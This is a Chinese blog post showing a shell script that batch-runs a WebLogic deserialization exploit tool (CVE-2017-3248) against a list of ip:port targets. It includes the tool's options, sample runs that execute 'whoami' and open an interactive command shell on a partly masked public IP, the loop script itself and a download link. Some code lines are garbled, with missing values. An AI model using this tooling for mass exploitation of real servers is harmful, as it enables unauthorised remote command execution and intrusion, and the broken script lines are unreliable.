weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )

时间:2022-03-08 23:15:50

  ~ 以下内容,仅供学习参考 ~

  weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效率有点低 ~  而我自己又没有能力去重写一个批量检测工具,于是乎就想能不能通过一些非技术手段 ~ 先看下该工具的使用方法:

starnight:shell starnight$ java -jar weblogic.jar
usage: supeream
-B Runtime Blind Execute Command maybe you should select os
type
-C <arg> Execute Command[need set]
-dst <arg> path to dst file
-H <arg> Remote Host[need set]
-https enable https or tls
-noExecPath custom execute path
-os <arg> Os Type [windows,linux]
-P <arg> Remote Port[need set]
-shell enable shell module
-src <arg> path to src file
-T <arg> Payload Type[marshall, collection, streamMessageImpl]
-U Uninstall rmi
-upload enable upload a file

  一般来讲我们只需要提供一个ip和端口就可以进行检测了,像下面这样:

starnight:shell starnight$ java -jar weblogic.jar  -H 220.195.*.197 -P 
检查是否安装rmi实例
rmi已经安装
执行命令:whoami
weblogic starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P -shell
检查是否安装rmi实例
rmi已经安装
please input cmd:>whoami
weblogic please input cmd:>

 工具运行的时候,会给出比较详细的信息,试想以下,这些信息只需要保存在一个文本文件中,到时候我们直接查看文本便能清楚的知道,该ip:port是否存在weblogic反序列化补丁绕过漏洞,要是能让该工具自动的从一个保存ip:port的文本文件中,一条条的读取ip:port,然后执行,再将输出信息保存在result.txt中,等程序运行结束,只要查看result.txt即可。

  ~ 怎么搞,当然是写shell脚本啦 ~ 但是,我也不会啊 ~ 没关系,一步步来,我们可以先想想如何去实现这样一个小功能
  ~~ 首先,脚本需要从保存ip:port的列表文件ips.txt中一行行读取,然后分别赋给ip 和 port变量
  ~~ 有了ip 和 port之后,这条命令便能执行了: java -jar weblogic.jar -H xx.xx.xx.xx -P xx, 将结果追加到文件中,使用 ">>"即可
  ~~ 再对脚本做一些修饰,让输出更友好
  ~~ shell脚本内容参考如下:

starnight:shell starnight$ cat exp.sh
var=
while IFS=: read ip port; do
var=$((var + ))
echo [$var] $ip $port
echo "[$var]$ip $port" >> result.txt
java -jar weblogic.jar -H $ip -P $port >> result.txt
echo "" >> result.txt done < ips.txt

  只要短短的几行,便改造成了一个批量脚本,瞬间感觉,我要去学shell编程了 ~

  运行该脚本:./exp.sh      [需要执行权限]

运行结果就不分享了,试试哦 ~

脚本分享百度云:

  链接:http://pan.baidu.com/s/1c1FW2wK  密码:ywm3